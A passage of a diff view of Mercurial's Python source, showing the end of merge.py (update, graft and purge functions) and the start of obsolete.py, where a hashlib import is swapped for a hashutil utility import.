2445 f1, f2, fa, move, anc = args
2446 flags = p2[f2].flags()
2446 flags = p2[f2].flags()
2447 if (
2447 if (
2448 repo.ui.promptchoice(
2448 repo.ui.promptchoice(
2449 _(
2449 _(
2450 b"other%(o)s changed %(f)s which local%(l)s deleted\n"
2450 b"other%(o)s changed %(f)s which local%(l)s deleted\n"
2451 b"use (c)hanged version or leave (d)eleted?"
2451 b"use (c)hanged version or leave (d)eleted?"
2452 b"$$ &Changed $$ &Deleted"
2452 b"$$ &Changed $$ &Deleted"
2453 )
2453 )
2454 % prompts,
2454 % prompts,
2455 0,
2455 0,
2456 )
2456 )
2457 == 0
2457 == 0
2458 ):
2458 ):
2459 actionbyfile[f] = (
2459 actionbyfile[f] = (
2460 ACTION_GET,
2460 ACTION_GET,
2461 (flags, False),
2461 (flags, False),
2462 b'prompt recreating',
2462 b'prompt recreating',
2463 )
2463 )
2464 else:
2464 else:
2465 del actionbyfile[f]
2465 del actionbyfile[f]
2466
2466
2467 # Convert to dictionary-of-lists format
2467 # Convert to dictionary-of-lists format
2468 actions = emptyactions()
2468 actions = emptyactions()
2469 for f, (m, args, msg) in pycompat.iteritems(actionbyfile):
2469 for f, (m, args, msg) in pycompat.iteritems(actionbyfile):
2470 if m not in actions:
2470 if m not in actions:
2471 actions[m] = []
2471 actions[m] = []
2472 actions[m].append((f, args, msg))
2472 actions[m].append((f, args, msg))
2473
2473
2474 if not util.fscasesensitive(repo.path):
2474 if not util.fscasesensitive(repo.path):
2475 # check collision between files only in p2 for clean update
2475 # check collision between files only in p2 for clean update
2476 if not branchmerge and (
2476 if not branchmerge and (
2477 force or not wc.dirty(missing=True, branch=False)
2477 force or not wc.dirty(missing=True, branch=False)
2478 ):
2478 ):
2479 _checkcollision(repo, p2.manifest(), None)
2479 _checkcollision(repo, p2.manifest(), None)
2480 else:
2480 else:
2481 _checkcollision(repo, wc.manifest(), actions)
2481 _checkcollision(repo, wc.manifest(), actions)
2482
2482
2483 # divergent renames
2483 # divergent renames
2484 for f, fl in sorted(pycompat.iteritems(diverge)):
2484 for f, fl in sorted(pycompat.iteritems(diverge)):
2485 repo.ui.warn(
2485 repo.ui.warn(
2486 _(
2486 _(
2487 b"note: possible conflict - %s was renamed "
2487 b"note: possible conflict - %s was renamed "
2488 b"multiple times to:\n"
2488 b"multiple times to:\n"
2489 )
2489 )
2490 % f
2490 % f
2491 )
2491 )
2492 for nf in sorted(fl):
2492 for nf in sorted(fl):
2493 repo.ui.warn(b" %s\n" % nf)
2493 repo.ui.warn(b" %s\n" % nf)
2494
2494
2495 # rename and delete
2495 # rename and delete
2496 for f, fl in sorted(pycompat.iteritems(renamedelete)):
2496 for f, fl in sorted(pycompat.iteritems(renamedelete)):
2497 repo.ui.warn(
2497 repo.ui.warn(
2498 _(
2498 _(
2499 b"note: possible conflict - %s was deleted "
2499 b"note: possible conflict - %s was deleted "
2500 b"and renamed to:\n"
2500 b"and renamed to:\n"
2501 )
2501 )
2502 % f
2502 % f
2503 )
2503 )
2504 for nf in sorted(fl):
2504 for nf in sorted(fl):
2505 repo.ui.warn(b" %s\n" % nf)
2505 repo.ui.warn(b" %s\n" % nf)
2506
2506
2507 ### apply phase
2507 ### apply phase
2508 if not branchmerge: # just jump to the new rev
2508 if not branchmerge: # just jump to the new rev
2509 fp1, fp2, xp1, xp2 = fp2, nullid, xp2, b''
2509 fp1, fp2, xp1, xp2 = fp2, nullid, xp2, b''
2510 if not partial and not wc.isinmemory():
2510 if not partial and not wc.isinmemory():
2511 repo.hook(b'preupdate', throw=True, parent1=xp1, parent2=xp2)
2511 repo.hook(b'preupdate', throw=True, parent1=xp1, parent2=xp2)
2512 # note that we're in the middle of an update
2512 # note that we're in the middle of an update
2513 repo.vfs.write(b'updatestate', p2.hex())
2513 repo.vfs.write(b'updatestate', p2.hex())
2514
2514
2515 # Advertise fsmonitor when its presence could be useful.
2515 # Advertise fsmonitor when its presence could be useful.
2516 #
2516 #
2517 # We only advertise when performing an update from an empty working
2517 # We only advertise when performing an update from an empty working
2518 # directory. This typically only occurs during initial clone.
2518 # directory. This typically only occurs during initial clone.
2519 #
2519 #
2520 # We give users a mechanism to disable the warning in case it is
2520 # We give users a mechanism to disable the warning in case it is
2521 # annoying.
2521 # annoying.
2522 #
2522 #
2523 # We only allow on Linux and MacOS because that's where fsmonitor is
2523 # We only allow on Linux and MacOS because that's where fsmonitor is
2524 # considered stable.
2524 # considered stable.
2525 fsmonitorwarning = repo.ui.configbool(b'fsmonitor', b'warn_when_unused')
2525 fsmonitorwarning = repo.ui.configbool(b'fsmonitor', b'warn_when_unused')
2526 fsmonitorthreshold = repo.ui.configint(
2526 fsmonitorthreshold = repo.ui.configint(
2527 b'fsmonitor', b'warn_update_file_count'
2527 b'fsmonitor', b'warn_update_file_count'
2528 )
2528 )
2529 try:
2529 try:
2530 # avoid cycle: extensions -> cmdutil -> merge
2530 # avoid cycle: extensions -> cmdutil -> merge
2531 from . import extensions
2531 from . import extensions
2532
2532
2533 extensions.find(b'fsmonitor')
2533 extensions.find(b'fsmonitor')
2534 fsmonitorenabled = repo.ui.config(b'fsmonitor', b'mode') != b'off'
2534 fsmonitorenabled = repo.ui.config(b'fsmonitor', b'mode') != b'off'
2535 # We intentionally don't look at whether fsmonitor has disabled
2535 # We intentionally don't look at whether fsmonitor has disabled
2536 # itself because a) fsmonitor may have already printed a warning
2536 # itself because a) fsmonitor may have already printed a warning
2537 # b) we only care about the config state here.
2537 # b) we only care about the config state here.
2538 except KeyError:
2538 except KeyError:
2539 fsmonitorenabled = False
2539 fsmonitorenabled = False
2540
2540
2541 if (
2541 if (
2542 fsmonitorwarning
2542 fsmonitorwarning
2543 and not fsmonitorenabled
2543 and not fsmonitorenabled
2544 and p1.node() == nullid
2544 and p1.node() == nullid
2545 and len(actions[ACTION_GET]) >= fsmonitorthreshold
2545 and len(actions[ACTION_GET]) >= fsmonitorthreshold
2546 and pycompat.sysplatform.startswith((b'linux', b'darwin'))
2546 and pycompat.sysplatform.startswith((b'linux', b'darwin'))
2547 ):
2547 ):
2548 repo.ui.warn(
2548 repo.ui.warn(
2549 _(
2549 _(
2550 b'(warning: large working directory being used without '
2550 b'(warning: large working directory being used without '
2551 b'fsmonitor enabled; enable fsmonitor to improve performance; '
2551 b'fsmonitor enabled; enable fsmonitor to improve performance; '
2552 b'see "hg help -e fsmonitor")\n'
2552 b'see "hg help -e fsmonitor")\n'
2553 )
2553 )
2554 )
2554 )
2555
2555
2556 updatedirstate = not partial and not wc.isinmemory()
2556 updatedirstate = not partial and not wc.isinmemory()
2557 wantfiledata = updatedirstate and not branchmerge
2557 wantfiledata = updatedirstate and not branchmerge
2558 stats, getfiledata = applyupdates(
2558 stats, getfiledata = applyupdates(
2559 repo, actions, wc, p2, overwrite, wantfiledata, labels=labels
2559 repo, actions, wc, p2, overwrite, wantfiledata, labels=labels
2560 )
2560 )
2561
2561
2562 if updatedirstate:
2562 if updatedirstate:
2563 with repo.dirstate.parentchange():
2563 with repo.dirstate.parentchange():
2564 repo.setparents(fp1, fp2)
2564 repo.setparents(fp1, fp2)
2565 recordupdates(repo, actions, branchmerge, getfiledata)
2565 recordupdates(repo, actions, branchmerge, getfiledata)
2566 # update completed, clear state
2566 # update completed, clear state
2567 util.unlink(repo.vfs.join(b'updatestate'))
2567 util.unlink(repo.vfs.join(b'updatestate'))
2568
2568
2569 if not branchmerge:
2569 if not branchmerge:
2570 repo.dirstate.setbranch(p2.branch())
2570 repo.dirstate.setbranch(p2.branch())
2571
2571
2572 # If we're updating to a location, clean up any stale temporary includes
2572 # If we're updating to a location, clean up any stale temporary includes
2573 # (ex: this happens during hg rebase --abort).
2573 # (ex: this happens during hg rebase --abort).
2574 if not branchmerge:
2574 if not branchmerge:
2575 sparse.prunetemporaryincludes(repo)
2575 sparse.prunetemporaryincludes(repo)
2576
2576
2577 if not partial:
2577 if not partial:
2578 repo.hook(
2578 repo.hook(
2579 b'update', parent1=xp1, parent2=xp2, error=stats.unresolvedcount
2579 b'update', parent1=xp1, parent2=xp2, error=stats.unresolvedcount
2580 )
2580 )
2581 return stats
2581 return stats
2582
2582
2583
2583
2584 def graft(
2584 def graft(
2585 repo, ctx, base, labels=None, keepparent=False, keepconflictparent=False
2585 repo, ctx, base, labels=None, keepparent=False, keepconflictparent=False
2586 ):
2586 ):
2587 """Do a graft-like merge.
2587 """Do a graft-like merge.
2588
2588
2589 This is a merge where the merge ancestor is chosen such that one
2589 This is a merge where the merge ancestor is chosen such that one
2590 or more changesets are grafted onto the current changeset. In
2590 or more changesets are grafted onto the current changeset. In
2591 addition to the merge, this fixes up the dirstate to include only
2591 addition to the merge, this fixes up the dirstate to include only
2592 a single parent (if keepparent is False) and tries to duplicate any
2592 a single parent (if keepparent is False) and tries to duplicate any
2593 renames/copies appropriately.
2593 renames/copies appropriately.
2594
2594
2595 ctx - changeset to rebase
2595 ctx - changeset to rebase
2596 base - merge base, usually ctx.p1()
2596 base - merge base, usually ctx.p1()
2597 labels - merge labels eg ['local', 'graft']
2597 labels - merge labels eg ['local', 'graft']
2598 keepparent - keep second parent if any
2598 keepparent - keep second parent if any
2599 keepconflictparent - if unresolved, keep parent used for the merge
2599 keepconflictparent - if unresolved, keep parent used for the merge
2600
2600
2601 """
2601 """
2602 # If we're grafting a descendant onto an ancestor, be sure to pass
2602 # If we're grafting a descendant onto an ancestor, be sure to pass
2603 # mergeancestor=True to update. This does two things: 1) allows the merge if
2603 # mergeancestor=True to update. This does two things: 1) allows the merge if
2604 # the destination is the same as the parent of the ctx (so we can use graft
2604 # the destination is the same as the parent of the ctx (so we can use graft
2605 # to copy commits), and 2) informs update that the incoming changes are
2605 # to copy commits), and 2) informs update that the incoming changes are
2606 # newer than the destination so it doesn't prompt about "remote changed foo
2606 # newer than the destination so it doesn't prompt about "remote changed foo
2607 # which local deleted".
2607 # which local deleted".
2608 pctx = repo[b'.']
2608 pctx = repo[b'.']
2609 mergeancestor = repo.changelog.isancestor(pctx.node(), ctx.node())
2609 mergeancestor = repo.changelog.isancestor(pctx.node(), ctx.node())
2610
2610
2611 stats = update(
2611 stats = update(
2612 repo,
2612 repo,
2613 ctx.node(),
2613 ctx.node(),
2614 True,
2614 True,
2615 True,
2615 True,
2616 base.node(),
2616 base.node(),
2617 mergeancestor=mergeancestor,
2617 mergeancestor=mergeancestor,
2618 labels=labels,
2618 labels=labels,
2619 )
2619 )
2620
2620
2621 if keepconflictparent and stats.unresolvedcount:
2621 if keepconflictparent and stats.unresolvedcount:
2622 pother = ctx.node()
2622 pother = ctx.node()
2623 else:
2623 else:
2624 pother = nullid
2624 pother = nullid
2625 parents = ctx.parents()
2625 parents = ctx.parents()
2626 if keepparent and len(parents) == 2 and base in parents:
2626 if keepparent and len(parents) == 2 and base in parents:
2627 parents.remove(base)
2627 parents.remove(base)
2628 pother = parents[0].node()
2628 pother = parents[0].node()
2629 # Never set both parents equal to each other
2629 # Never set both parents equal to each other
2630 if pother == pctx.node():
2630 if pother == pctx.node():
2631 pother = nullid
2631 pother = nullid
2632
2632
2633 with repo.dirstate.parentchange():
2633 with repo.dirstate.parentchange():
2634 repo.setparents(pctx.node(), pother)
2634 repo.setparents(pctx.node(), pother)
2635 repo.dirstate.write(repo.currenttransaction())
2635 repo.dirstate.write(repo.currenttransaction())
2636 # fix up dirstate for copies and renames
2636 # fix up dirstate for copies and renames
2637 copies.duplicatecopies(repo, repo[None], ctx.rev(), base.rev())
2637 copies.duplicatecopies(repo, repo[None], ctx.rev(), base.rev())
2638 return stats
2638 return stats
2639
2639
2640
2640
2641 def purge(
2641 def purge(
2642 repo,
2642 repo,
2643 matcher,
2643 matcher,
2644 ignored=False,
2644 ignored=False,
2645 removeemptydirs=True,
2645 removeemptydirs=True,
2646 removefiles=True,
2646 removefiles=True,
2647 abortonerror=False,
2647 abortonerror=False,
2648 noop=False,
2648 noop=False,
2649 ):
2649 ):
2650 """Purge the working directory of untracked files.
2650 """Purge the working directory of untracked files.
2651
2651
2652 ``matcher`` is a matcher configured to scan the working directory -
2652 ``matcher`` is a matcher configured to scan the working directory -
2653 potentially a subset.
2653 potentially a subset.
2654
2654
2655 ``ignored`` controls whether ignored files should also be purged.
2655 ``ignored`` controls whether ignored files should also be purged.
2656
2656
2657 ``removeemptydirs`` controls whether empty directories should be removed.
2657 ``removeemptydirs`` controls whether empty directories should be removed.
2658
2658
2659 ``removefiles`` controls whether files are removed.
2659 ``removefiles`` controls whether files are removed.
2660
2660
2661 ``abortonerror`` causes an exception to be raised if an error occurs
2661 ``abortonerror`` causes an exception to be raised if an error occurs
2662 deleting a file or directory.
2662 deleting a file or directory.
2663
2663
2664 ``noop`` controls whether to actually remove files. If not defined, actions
2664 ``noop`` controls whether to actually remove files. If not defined, actions
2665 will be taken.
2665 will be taken.
2666
2666
2667 Returns an iterable of relative paths in the working directory that were
2667 Returns an iterable of relative paths in the working directory that were
2668 or would be removed.
2668 or would be removed.
2669 """
2669 """
2670
2670
2671 def remove(removefn, path):
2671 def remove(removefn, path):
2672 try:
2672 try:
2673 removefn(path)
2673 removefn(path)
2674 except OSError:
2674 except OSError:
2675 m = _(b'%s cannot be removed') % path
2675 m = _(b'%s cannot be removed') % path
2676 if abortonerror:
2676 if abortonerror:
2677 raise error.Abort(m)
2677 raise error.Abort(m)
2678 else:
2678 else:
2679 repo.ui.warn(_(b'warning: %s\n') % m)
2679 repo.ui.warn(_(b'warning: %s\n') % m)
2680
2680
2681 # There's no API to copy a matcher. So mutate the passed matcher and
2681 # There's no API to copy a matcher. So mutate the passed matcher and
2682 # restore it when we're done.
2682 # restore it when we're done.
2683 oldtraversedir = matcher.traversedir
2683 oldtraversedir = matcher.traversedir
2684
2684
2685 res = []
2685 res = []
2686
2686
2687 try:
2687 try:
2688 if removeemptydirs:
2688 if removeemptydirs:
2689 directories = []
2689 directories = []
2690 matcher.traversedir = directories.append
2690 matcher.traversedir = directories.append
2691
2691
2692 status = repo.status(match=matcher, ignored=ignored, unknown=True)
2692 status = repo.status(match=matcher, ignored=ignored, unknown=True)
2693
2693
2694 if removefiles:
2694 if removefiles:
2695 for f in sorted(status.unknown + status.ignored):
2695 for f in sorted(status.unknown + status.ignored):
2696 if not noop:
2696 if not noop:
2697 repo.ui.note(_(b'removing file %s\n') % f)
2697 repo.ui.note(_(b'removing file %s\n') % f)
2698 remove(repo.wvfs.unlink, f)
2698 remove(repo.wvfs.unlink, f)
2699 res.append(f)
2699 res.append(f)
2700
2700
2701 if removeemptydirs:
2701 if removeemptydirs:
2702 for f in sorted(directories, reverse=True):
2702 for f in sorted(directories, reverse=True):
2703 if matcher(f) and not repo.wvfs.listdir(f):
2703 if matcher(f) and not repo.wvfs.listdir(f):
2704 if not noop:
2704 if not noop:
2705 repo.ui.note(_(b'removing directory %s\n') % f)
2705 repo.ui.note(_(b'removing directory %s\n') % f)
2706 remove(repo.wvfs.rmdir, f)
2706 remove(repo.wvfs.rmdir, f)
2707 res.append(f)
2707 res.append(f)
2708
2708
2709 return res
2709 return res
2710
2710
2711 finally:
2711 finally:
2712 matcher.traversedir = oldtraversedir
2712 matcher.traversedir = oldtraversedir
@@ -1,1144 +1,1146
1 # obsolete.py - obsolete markers handling
1 # obsolete.py - obsolete markers handling
2 #
2 #
3 # Copyright 2012 Pierre-Yves David <pierre-yves.david@ens-lyon.org>
3 # Copyright 2012 Pierre-Yves David <pierre-yves.david@ens-lyon.org>
4 # Logilab SA <contact@logilab.fr>
4 # Logilab SA <contact@logilab.fr>
5 #
5 #
6 # This software may be used and distributed according to the terms of the
6 # This software may be used and distributed according to the terms of the
7 # GNU General Public License version 2 or any later version.
7 # GNU General Public License version 2 or any later version.
8
8
9 """Obsolete marker handling
9 """Obsolete marker handling
10
10
11 An obsolete marker maps an old changeset to a list of new
11 An obsolete marker maps an old changeset to a list of new
12 changesets. If the list of new changesets is empty, the old changeset
12 changesets. If the list of new changesets is empty, the old changeset
13 is said to be "killed". Otherwise, the old changeset is being
13 is said to be "killed". Otherwise, the old changeset is being
14 "replaced" by the new changesets.
14 "replaced" by the new changesets.
15
15
16 Obsolete markers can be used to record and distribute changeset graph
16 Obsolete markers can be used to record and distribute changeset graph
17 transformations performed by history rewrite operations, and help
17 transformations performed by history rewrite operations, and help
18 building new tools to reconcile conflicting rewrite actions. To
18 building new tools to reconcile conflicting rewrite actions. To
19 facilitate conflict resolution, markers include various annotations
19 facilitate conflict resolution, markers include various annotations
20 besides old and news changeset identifiers, such as creation date or
20 besides old and news changeset identifiers, such as creation date or
21 author name.
21 author name.
22
22
23 The old obsoleted changeset is called a "predecessor" and possible
23 The old obsoleted changeset is called a "predecessor" and possible
24 replacements are called "successors". Markers that used changeset X as
24 replacements are called "successors". Markers that used changeset X as
25 a predecessor are called "successor markers of X" because they hold
25 a predecessor are called "successor markers of X" because they hold
26 information about the successors of X. Markers that use changeset Y as
26 information about the successors of X. Markers that use changeset Y as
27 a successors are call "predecessor markers of Y" because they hold
27 a successors are call "predecessor markers of Y" because they hold
28 information about the predecessors of Y.
28 information about the predecessors of Y.
29
29
30 Examples:
30 Examples:
31
31
32 - When changeset A is replaced by changeset A', one marker is stored:
32 - When changeset A is replaced by changeset A', one marker is stored:
33
33
34 (A, (A',))
34 (A, (A',))
35
35
36 - When changesets A and B are folded into a new changeset C, two markers are
36 - When changesets A and B are folded into a new changeset C, two markers are
37 stored:
37 stored:
38
38
39 (A, (C,)) and (B, (C,))
39 (A, (C,)) and (B, (C,))
40
40
41 - When changeset A is simply "pruned" from the graph, a marker is created:
41 - When changeset A is simply "pruned" from the graph, a marker is created:
42
42
43 (A, ())
43 (A, ())
44
44
45 - When changeset A is split into B and C, a single marker is used:
45 - When changeset A is split into B and C, a single marker is used:
46
46
47 (A, (B, C))
47 (A, (B, C))
48
48
49 We use a single marker to distinguish the "split" case from the "divergence"
49 We use a single marker to distinguish the "split" case from the "divergence"
50 case. If two independent operations rewrite the same changeset A in to A' and
50 case. If two independent operations rewrite the same changeset A in to A' and
51 A'', we have an error case: divergent rewriting. We can detect it because
51 A'', we have an error case: divergent rewriting. We can detect it because
52 two markers will be created independently:
52 two markers will be created independently:
53
53
54 (A, (B,)) and (A, (C,))
54 (A, (B,)) and (A, (C,))
55
55
56 Format
56 Format
57 ------
57 ------
58
58
59 Markers are stored in an append-only file stored in
59 Markers are stored in an append-only file stored in
60 '.hg/store/obsstore'.
60 '.hg/store/obsstore'.
61
61
62 The file starts with a version header:
62 The file starts with a version header:
63
63
64 - 1 unsigned byte: version number, starting at zero.
64 - 1 unsigned byte: version number, starting at zero.
65
65
66 The header is followed by the markers. Marker format depend of the version. See
66 The header is followed by the markers. Marker format depend of the version. See
67 comment associated with each format for details.
67 comment associated with each format for details.
68
68
69 """
69 """
70 from __future__ import absolute_import
70 from __future__ import absolute_import
71
71
72 import errno
72 import errno
73 import hashlib
74 import struct
73 import struct
75
74
76 from .i18n import _
75 from .i18n import _
77 from .pycompat import getattr
76 from .pycompat import getattr
78 from . import (
77 from . import (
79 encoding,
78 encoding,
80 error,
79 error,
81 node,
80 node,
82 obsutil,
81 obsutil,
83 phases,
82 phases,
84 policy,
83 policy,
85 pycompat,
84 pycompat,
86 util,
85 util,
87 )
86 )
88 from .utils import dateutil
87 from .utils import (
88 dateutil,
89 hashutil,
90 )
89
91
90 parsers = policy.importmod('parsers')
92 parsers = policy.importmod('parsers')
91
93
92 _pack = struct.pack
94 _pack = struct.pack
93 _unpack = struct.unpack
95 _unpack = struct.unpack
94 _calcsize = struct.calcsize
96 _calcsize = struct.calcsize
95 propertycache = util.propertycache
97 propertycache = util.propertycache
96
98
97 # Options for obsolescence
99 # Options for obsolescence
98 createmarkersopt = b'createmarkers'
100 createmarkersopt = b'createmarkers'
99 allowunstableopt = b'allowunstable'
101 allowunstableopt = b'allowunstable'
100 exchangeopt = b'exchange'
102 exchangeopt = b'exchange'
101
103
102
104
103 def _getoptionvalue(repo, option):
105 def _getoptionvalue(repo, option):
104 """Returns True if the given repository has the given obsolete option
106 """Returns True if the given repository has the given obsolete option
105 enabled.
107 enabled.
106 """
108 """
107 configkey = b'evolution.%s' % option
109 configkey = b'evolution.%s' % option
108 newconfig = repo.ui.configbool(b'experimental', configkey)
110 newconfig = repo.ui.configbool(b'experimental', configkey)
109
111
110 # Return the value only if defined
112 # Return the value only if defined
111 if newconfig is not None:
113 if newconfig is not None:
112 return newconfig
114 return newconfig
113
115
114 # Fallback on generic option
116 # Fallback on generic option
115 try:
117 try:
116 return repo.ui.configbool(b'experimental', b'evolution')
118 return repo.ui.configbool(b'experimental', b'evolution')
117 except (error.ConfigError, AttributeError):
119 except (error.ConfigError, AttributeError):
118 # Fallback on old-fashion config
120 # Fallback on old-fashion config
119 # inconsistent config: experimental.evolution
121 # inconsistent config: experimental.evolution
120 result = set(repo.ui.configlist(b'experimental', b'evolution'))
122 result = set(repo.ui.configlist(b'experimental', b'evolution'))
121
123
122 if b'all' in result:
124 if b'all' in result:
123 return True
125 return True
124
126
125 # Temporary hack for next check
127 # Temporary hack for next check
126 newconfig = repo.ui.config(b'experimental', b'evolution.createmarkers')
128 newconfig = repo.ui.config(b'experimental', b'evolution.createmarkers')
127 if newconfig:
129 if newconfig:
128 result.add(b'createmarkers')
130 result.add(b'createmarkers')
129
131
130 return option in result
132 return option in result
131
133
132
134
133 def getoptions(repo):
135 def getoptions(repo):
134 """Returns dicts showing state of obsolescence features."""
136 """Returns dicts showing state of obsolescence features."""
135
137
136 createmarkersvalue = _getoptionvalue(repo, createmarkersopt)
138 createmarkersvalue = _getoptionvalue(repo, createmarkersopt)
137 unstablevalue = _getoptionvalue(repo, allowunstableopt)
139 unstablevalue = _getoptionvalue(repo, allowunstableopt)
138 exchangevalue = _getoptionvalue(repo, exchangeopt)
140 exchangevalue = _getoptionvalue(repo, exchangeopt)
139
141
140 # createmarkers must be enabled if other options are enabled
142 # createmarkers must be enabled if other options are enabled
141 if (unstablevalue or exchangevalue) and not createmarkersvalue:
143 if (unstablevalue or exchangevalue) and not createmarkersvalue:
142 raise error.Abort(
144 raise error.Abort(
143 _(
145 _(
144 b"'createmarkers' obsolete option must be enabled "
146 b"'createmarkers' obsolete option must be enabled "
145 b"if other obsolete options are enabled"
147 b"if other obsolete options are enabled"
146 )
148 )
147 )
149 )
148
150
149 return {
151 return {
150 createmarkersopt: createmarkersvalue,
152 createmarkersopt: createmarkersvalue,
151 allowunstableopt: unstablevalue,
153 allowunstableopt: unstablevalue,
152 exchangeopt: exchangevalue,
154 exchangeopt: exchangevalue,
153 }
155 }
154
156
155
157
156 def isenabled(repo, option):
158 def isenabled(repo, option):
157 """Returns True if the given repository has the given obsolete option
159 """Returns True if the given repository has the given obsolete option
158 enabled.
160 enabled.
159 """
161 """
160 return getoptions(repo)[option]
162 return getoptions(repo)[option]
161
163
162
164
163 # Creating aliases for marker flags because evolve extension looks for
165 # Creating aliases for marker flags because evolve extension looks for
164 # bumpedfix in obsolete.py
166 # bumpedfix in obsolete.py
165 bumpedfix = obsutil.bumpedfix
167 bumpedfix = obsutil.bumpedfix
166 usingsha256 = obsutil.usingsha256
168 usingsha256 = obsutil.usingsha256
167
169
168 ## Parsing and writing of version "0"
170 ## Parsing and writing of version "0"
169 #
171 #
170 # The header is followed by the markers. Each marker is made of:
172 # The header is followed by the markers. Each marker is made of:
171 #
173 #
172 # - 1 uint8 : number of new changesets "N", can be zero.
174 # - 1 uint8 : number of new changesets "N", can be zero.
173 #
175 #
174 # - 1 uint32: metadata size "M" in bytes.
176 # - 1 uint32: metadata size "M" in bytes.
175 #
177 #
176 # - 1 byte: a bit field. It is reserved for flags used in common
178 # - 1 byte: a bit field. It is reserved for flags used in common
177 # obsolete marker operations, to avoid repeated decoding of metadata
179 # obsolete marker operations, to avoid repeated decoding of metadata
178 # entries.
180 # entries.
179 #
181 #
180 # - 20 bytes: obsoleted changeset identifier.
182 # - 20 bytes: obsoleted changeset identifier.
181 #
183 #
182 # - N*20 bytes: new changesets identifiers.
184 # - N*20 bytes: new changesets identifiers.
183 #
185 #
184 # - M bytes: metadata as a sequence of nul-terminated strings. Each
186 # - M bytes: metadata as a sequence of nul-terminated strings. Each
185 # string contains a key and a value, separated by a colon ':', without
187 # string contains a key and a value, separated by a colon ':', without
186 # additional encoding. Keys cannot contain '\0' or ':' and values
188 # additional encoding. Keys cannot contain '\0' or ':' and values
187 # cannot contain '\0'.
189 # cannot contain '\0'.
188 _fm0version = 0
190 _fm0version = 0
189 _fm0fixed = b'>BIB20s'
191 _fm0fixed = b'>BIB20s'
190 _fm0node = b'20s'
192 _fm0node = b'20s'
191 _fm0fsize = _calcsize(_fm0fixed)
193 _fm0fsize = _calcsize(_fm0fixed)
192 _fm0fnodesize = _calcsize(_fm0node)
194 _fm0fnodesize = _calcsize(_fm0node)
193
195
194
196
195 def _fm0readmarkers(data, off, stop):
197 def _fm0readmarkers(data, off, stop):
196 # Loop on markers
198 # Loop on markers
197 while off < stop:
199 while off < stop:
198 # read fixed part
200 # read fixed part
199 cur = data[off : off + _fm0fsize]
201 cur = data[off : off + _fm0fsize]
200 off += _fm0fsize
202 off += _fm0fsize
201 numsuc, mdsize, flags, pre = _unpack(_fm0fixed, cur)
203 numsuc, mdsize, flags, pre = _unpack(_fm0fixed, cur)
202 # read replacement
204 # read replacement
203 sucs = ()
205 sucs = ()
204 if numsuc:
206 if numsuc:
205 s = _fm0fnodesize * numsuc
207 s = _fm0fnodesize * numsuc
206 cur = data[off : off + s]
208 cur = data[off : off + s]
207 sucs = _unpack(_fm0node * numsuc, cur)
209 sucs = _unpack(_fm0node * numsuc, cur)
208 off += s
210 off += s
209 # read metadata
211 # read metadata
210 # (metadata will be decoded on demand)
212 # (metadata will be decoded on demand)
211 metadata = data[off : off + mdsize]
213 metadata = data[off : off + mdsize]
212 if len(metadata) != mdsize:
214 if len(metadata) != mdsize:
213 raise error.Abort(
215 raise error.Abort(
214 _(
216 _(
215 b'parsing obsolete marker: metadata is too '
217 b'parsing obsolete marker: metadata is too '
216 b'short, %d bytes expected, got %d'
218 b'short, %d bytes expected, got %d'
217 )
219 )
218 % (mdsize, len(metadata))
220 % (mdsize, len(metadata))
219 )
221 )
220 off += mdsize
222 off += mdsize
221 metadata = _fm0decodemeta(metadata)
223 metadata = _fm0decodemeta(metadata)
222 try:
224 try:
223 when, offset = metadata.pop(b'date', b'0 0').split(b' ')
225 when, offset = metadata.pop(b'date', b'0 0').split(b' ')
224 date = float(when), int(offset)
226 date = float(when), int(offset)
225 except ValueError:
227 except ValueError:
226 date = (0.0, 0)
228 date = (0.0, 0)
227 parents = None
229 parents = None
228 if b'p2' in metadata:
230 if b'p2' in metadata:
229 parents = (metadata.pop(b'p1', None), metadata.pop(b'p2', None))
231 parents = (metadata.pop(b'p1', None), metadata.pop(b'p2', None))
230 elif b'p1' in metadata:
232 elif b'p1' in metadata:
231 parents = (metadata.pop(b'p1', None),)
233 parents = (metadata.pop(b'p1', None),)
232 elif b'p0' in metadata:
234 elif b'p0' in metadata:
233 parents = ()
235 parents = ()
234 if parents is not None:
236 if parents is not None:
235 try:
237 try:
236 parents = tuple(node.bin(p) for p in parents)
238 parents = tuple(node.bin(p) for p in parents)
237 # if parent content is not a nodeid, drop the data
239 # if parent content is not a nodeid, drop the data
238 for p in parents:
240 for p in parents:
239 if len(p) != 20:
241 if len(p) != 20:
240 parents = None
242 parents = None
241 break
243 break
242 except TypeError:
244 except TypeError:
243 # if content cannot be translated to nodeid drop the data.
245 # if content cannot be translated to nodeid drop the data.
244 parents = None
246 parents = None
245
247
246 metadata = tuple(sorted(pycompat.iteritems(metadata)))
248 metadata = tuple(sorted(pycompat.iteritems(metadata)))
247
249
248 yield (pre, sucs, flags, metadata, date, parents)
250 yield (pre, sucs, flags, metadata, date, parents)
249
251
250
252
251 def _fm0encodeonemarker(marker):
253 def _fm0encodeonemarker(marker):
252 pre, sucs, flags, metadata, date, parents = marker
254 pre, sucs, flags, metadata, date, parents = marker
253 if flags & usingsha256:
255 if flags & usingsha256:
254 raise error.Abort(_(b'cannot handle sha256 with old obsstore format'))
256 raise error.Abort(_(b'cannot handle sha256 with old obsstore format'))
255 metadata = dict(metadata)
257 metadata = dict(metadata)
256 time, tz = date
258 time, tz = date
257 metadata[b'date'] = b'%r %i' % (time, tz)
259 metadata[b'date'] = b'%r %i' % (time, tz)
258 if parents is not None:
260 if parents is not None:
259 if not parents:
261 if not parents:
260 # mark that we explicitly recorded no parents
262 # mark that we explicitly recorded no parents
261 metadata[b'p0'] = b''
263 metadata[b'p0'] = b''
262 for i, p in enumerate(parents, 1):
264 for i, p in enumerate(parents, 1):
263 metadata[b'p%i' % i] = node.hex(p)
265 metadata[b'p%i' % i] = node.hex(p)
264 metadata = _fm0encodemeta(metadata)
266 metadata = _fm0encodemeta(metadata)
265 numsuc = len(sucs)
267 numsuc = len(sucs)
266 format = _fm0fixed + (_fm0node * numsuc)
268 format = _fm0fixed + (_fm0node * numsuc)
267 data = [numsuc, len(metadata), flags, pre]
269 data = [numsuc, len(metadata), flags, pre]
268 data.extend(sucs)
270 data.extend(sucs)
269 return _pack(format, *data) + metadata
271 return _pack(format, *data) + metadata
270
272
271
273
272 def _fm0encodemeta(meta):
274 def _fm0encodemeta(meta):
273 """Return encoded metadata string to string mapping.
275 """Return encoded metadata string to string mapping.
274
276
275 Assume no ':' in key and no '\0' in both key and value."""
277 Assume no ':' in key and no '\0' in both key and value."""
276 for key, value in pycompat.iteritems(meta):
278 for key, value in pycompat.iteritems(meta):
277 if b':' in key or b'\0' in key:
279 if b':' in key or b'\0' in key:
278 raise ValueError(b"':' and '\0' are forbidden in metadata key'")
